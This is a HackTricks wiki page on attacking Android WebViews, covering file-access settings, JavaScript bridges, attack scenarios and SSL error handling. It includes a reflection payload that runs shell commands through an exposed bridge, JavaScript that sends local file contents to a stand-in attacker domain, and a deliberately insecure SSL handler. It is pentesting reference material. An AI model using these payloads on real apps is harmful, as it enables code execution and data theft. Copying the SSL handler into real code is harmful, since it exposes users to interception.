hacktricks/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md

171 lines
12 KiB
Markdown
Raw Normal View History

# Webview Attacks
2021-05-29 13:27:23 +00:00
## Interesting Configurations
2021-05-29 13:27:23 +00:00
### File Access
2021-05-29 13:27:23 +00:00
_WebView_ file access is enabled by default. Since API 3 \(Cupcake 1.5\) the method [_setAllowFileAccess\(\)_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess%28boolean%29) is available for explicitly enabling or disabling it.
If the application has _**android.permission.READ\_EXTERNAL\_STORAGE**_ it will be able to read and load files **from the external storage**.
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.
2021-05-29 13:27:23 +00:00
#### Universal Access From File URL \(Deprecated\)
2021-05-29 13:27:23 +00:00
> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites.
2021-05-29 13:27:23 +00:00
In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin \(**`Access-Control-Allow-Origin: file://`**\) then the content won't be loaded.
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above.
2021-05-29 13:27:23 +00:00
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) to know whether JavaScript running in the context of a file scheme URL can access content from any origin \(if UniversalAccessFromFileURL is enabled\).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) to enable/disable it.
#### File Access From File URLs \(Deprecated\) <a id="getAllowFileAccessFromFileURLs()"></a>
> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to **access arbitrary local files** including WebView cookies and app private data.
In summary, this prevents javascript to access local files via `file://` protocol.
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) is `true`.
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) to know Gets whether JavaScript running in the context of a file scheme URL can access content from any origin \(if AllowFileAccessFromFileURLs is enabled\)
* Use [`setAllowFileAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs%28boolean%29) to enable/disable it.
#### File Access
> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.
In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.
The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R) and above.
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess%28%29) to know if the configuration is enabled.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess%28boolean%29) to enable/disable it.
2021-05-29 16:28:54 +00:00
### Javascript Enabled
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled%28boolean%29) is can explicitly enabling or disabling it.
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
### Javascript Bridge
Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** \(annotated with `@JavascriptInterface`\) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
> Warning: Take extreme care with apps targeting Android versions below Android 4.2 \(API level 17\) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default \(instead of only those annotated\).
#### Static Analysis
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.
{% hint style="info" %}
Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
{% endhint %}
If `addJavascriptInterface` is necessary, take the following considerations:
* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method \(via `WebView.getUrl`\).
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser \(e.g. Chrome, Firefox\).
* If necessary for legacy reasons \(e.g. having to support older devices\), **at least set the minimal API level to 17** in the manifest file of the app \(`<uses-sdk android:minSdkVersion="17" />`\).
### Javascript Bridge to RCE via Reflection
As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)\(_check it for ideas in case you obtain RCE_\) ****once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
## Scenarios
### Javascript Enabled & FileSystemAccess Disabled
In this scenario an attacker is able to **inject Javascript code** inside the web page opened via **webview** by the victim. This could be done maybe via **XSS** or making the webview **load** a **malicious HTML** page stored inside the phone.
This **webview has Javascript enabled** but no access to the file system.
In this scenario the attacker **won't be able to read local files**, but depending on the permissions of the application this **could allow an attacker to interact with the functionality of the device** \(read SMS, microphone recording etc.\) exposing the security of the application and the device itself into great risk.
### Javascript Enabled & FileSystemAccess enabled
The scenario is like the one mentioned previously but the **webview now have FileSystem access**.
An attacker could try to ex-filtrate files with javascript code like:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
window.location.replace('https://attackerdomain.com/?exfiltrated='+xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt', true);
xhr.send(null);
```
So **even with file access enabled** in the _WebView_, due to the fact that the file scheme request is considered a **Cross Origin Request** and hence **disallowed**, the attacker will **not be able to exfiltrate** files this way.
Note that if the **attacker is able to control the mobile** where the vulnerable application is running, he could be able to abuse it to **make it load the internal file and see it**. In this case the CORS isn't stopping the attack because the attacker is **directly accessing the file instead of trying to access it from a different origin**.
**CORS related errors looks like this:**
```javascript
05-09 12:38:59.306 27768 27768 I chromium: [INFO:CONSOLE(20)] “Failed to load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.”, source: https://labs.integrity.pt/ (20)
```
### Javascript Enabled, FileSystemAccessEnabled & CORS Disabled
In this scenario, using the same Javascript payload, you will finally **be able to ex-filtrate internal files.**
## **SSL Error Handling**
The code below instructs the WebView client to **proceed when an SSL error occur**. This means that the **application is vulnerable to MiTM attacks** as it could allow an attacker to read or modify content that is displayed to the user since any certificate would be accepted by the application.
```javascript
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
handler.proceed();
}
```
## **References**
* \*\*\*\*[**https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html**](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)\*\*\*\*
* \*\*\*\*[**https://pentestlab.blog/2017/02/12/android-webview-vulnerabilities/**](https://pentestlab.blog/2017/02/12/android-webview-vulnerabilities/)\*\*\*\*